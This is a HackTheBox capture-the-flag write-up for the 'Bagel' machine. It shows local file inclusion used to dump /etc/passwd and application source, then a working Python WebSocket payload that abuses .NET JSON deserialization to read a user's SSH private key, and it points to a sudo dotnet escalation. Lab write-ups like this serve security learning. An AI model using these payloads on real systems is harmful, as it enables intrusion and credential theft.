HackTheBox — Bagel Writeup

Ardian Danny
6 min readJun 12, 2023

--

This is my write-up on one of the HackTheBox machines called Bagel. Let’s go!

Initial

As usual, let’s start off with an Nmap scan.

We can observe several ports open on the target system, including ports 22, 5000, and 8000. Port 5000 appears to be hosting a web application built with Microsoft’s .NET framework, while port 8000 is running a Python web application. Upon accessing port 5000 via a web browser, we are presented with a blank page, indicating that there is no content available at this time. However, we are able to access the Python web application by visiting the URL http://bagel.htb:8000/?page=index.html, which displays the website’s homepage.

Upon examining the URL structure, I attempted a Local File Inclusion (LFI) attack and was able to successfully exploit it.

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
tss:x:59:59:Account used for TPM access:/dev/null:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/usr/sbin/nologin
systemd-oom:x:999:999:systemd Userspace OOM Killer:/:/usr/sbin/nologin
systemd-resolve:x:193:193:systemd Resolver:/:/usr/sbin/nologin
polkitd:x:998:997:User for polkitd:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
setroubleshoot:x:997:995:SELinux troubleshoot server:/var/lib/setroubleshoot:/sbin/nologin
cockpit-ws:x:996:994:User for cockpit web service:/nonexisting:/sbin/nologin
cockpit-wsinstance:x:995:993:User for cockpit-ws instances:/nonexisting:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/usr/share/empty.sshd:/sbin/nologin
chrony:x:994:992::/var/lib/chrony:/sbin/nologin
dnsmasq:x:993:991:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
systemd-coredump:x:989:989:systemd Core Dumper:/:/usr/sbin/nologin
systemd-timesync:x:988:988:systemd Time Synchronization:/:/usr/sbin/nologin
developer:x:1000:1000::/home/developer:/bin/bash
phil:x:1001:1001::/home/phil:/bin/bash
_laurel:x:987:987::/var/log/laurel:/bin/false

Now that we have read the contents of the passwd file, we have identified the presence of two users: developer and phil. It is highly likely that we will focus on gaining access to the developer user account first.

Foothold

I found the Local File Inclusion (LFI) cheat sheet available at https://sushant747.gitbooks.io/total-oscp-guide/content/local_file_inclusion.html to be an invaluable resource in my attempts to gain a foothold on the target system. To exploit the LFI vulnerability, I began by enumerating several common paths that are known to be vulnerable, including /proc/self/environ, SSH private keys for the developer and phil users (although this did not yield any results, possibly due to privilege issues), /proc/[PID]/fd, /proc/self/status, /proc/self/stat, /proc/[PID]/cmdline, /proc/self/cmdline, and several others.

During my enumeration process, I stumbled upon an interesting path that led to a DLL file named bagel.dll. This discovery was made while brute-forcing the /proc/[PID]/cmdline path.

Downloading the bagel.dll file may prove to be a useful step for further analysis and potential exploitation later on, especially given our discovery that there is a .NET service running on the target system.

While attempting to exploit the LFI vulnerability using the /proc/self/cmdline path, I came across something of interest.

Upon examining the contents of the /proc/self/cmdline path, I was able to identify the path to the app.py file. This allowed me to read the contents of the app.py file and potentially gain a better understanding of the web application and its functionality.

from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json

app = Flask(__name__)

@app.route('/')
def index():
if 'page' in request.args:
page = 'static/'+request.args.get('page')
if os.path.isfile(page):
resp=send_file(page)
resp.direct_passthrough = False
if os.path.getsize(page) == 0:
resp.headers["Content-Length"]=str(len(resp.get_data()))
return resp
else:
return "File not found"
else:
return redirect('http://bagel.htb:8000/?page=index.html', code=302)

@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
try:
ws = websocket.WebSocket()
ws.connect("ws://127.0.0.1:5000/") # connect to order app
order = {"ReadOrder":"orders.txt"}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
return(json.loads(result)['ReadOrder'])
except:
return("Unable to connect")

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)

Although the code within the app.py file didn’t reveal anything of interest, a comment within the code caught my attention. It read:

don’t forget to run the order app first with “dotnet <path to .dll>” command. Use your ssh key to access the machine.

Given that we had already discovered a DLL file earlier, I decided to try analyzing it using DNSpy. After a short analysis of the DLL on DNSpy, I was able to locate a set of database credentials within the DB_connection() function.

Although I was initially stuck during my analysis of the DLL, I received a helpful tip that there is a function within the DLL that allows for interaction with the WebSocket. This may provide us with a potential avenue for gaining access to the system.

There are three main functions we can interact with on the WebSocket: read, write, and remove order. The ReadOrder function can be used to read files that we couldn’t access through the LFI vulnerability earlier due to privilege issues. However, this function removes “/” and “..”, which prevents directory traversal. The WriteOrder function is not of interest to us.

On the other hand, the RemoveOrder function is vulnerable to deserialization attacks. This is because the RemoveOrder property is of type object, which means it can hold any type of object, including serialized data. If this data is deserialized without proper validation and sanitization, it can lead to a deserialization vulnerability.

Armed with this knowledge, we can use the code from /orders to interact with the WebSocket and attempt to read data from the system. All we need to do is run the RemoveOrder function and specify the $type key with a value of bagel_server.File, bagel. This serialized data represents an object of type File from the bagel_server namespace.

Then, we just run the ReadFile function to read our target file.

import websocket
import json

file = "home/phil/.ssh/id_rsa"

ws = websocket.WebSocket()
ws.connect("ws://bagel.htb:5000/") # connect to order app
order = {"RemoveOrder": {"$type":"bagel_server.File, bagel", "ReadFile": f"../../../../../../{file}"}}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()

json_data = json.loads(result)
file_content_only = json_data["RemoveOrder"]["ReadFile"]

print(file_content_only)

When the server receives the payload, it deserializes the nested JSON object and attempts to execute the RemoveOrder function. However, instead of removing an order, the payload causes the server to execute the ReadFile function and return the contents of the specified file to the client.

The server is vulnerable to deserialization attacks due to the use of an object of type object in the RemoveOrder function, which can accept arbitrary serialized objects. In this case, the code takes advantage of this vulnerability by providing a serialized object of type File with a ReadFile method that reads the specified file.

We have successfully gained access. Let’s retrieve the user flag and proceed further. Additionally, as we obtained the DB password of the developer user earlier, we can also attempt to access their account.

Getting Root

After logging in with the developer account, I ran sudo -l to check my privileges. It turns out that I can run /usr/bin/dotnet as root.

Reading from https://gtfobins.github.io/gtfobins/dotnet/ will give you a straight path to the root.

ROOTED!

Final Thought

Overall, I found this box to be very challenging but also interesting. The process of gaining a foothold involved leveraging some uncommon things such as /proc/* on LFI and analyzing a DLL, which was a new experience for me. I highly recommend others to try this box and expand their knowledge.

Thank you for taking the time to read my write-up and stay safe everyone!

--

--

Ardian Danny

Penetration Tester, Ethical Hacker, CTF Player, and a Cat Lover. My first account got disabled by Medium, but it won’t stop me from sharing the things I love.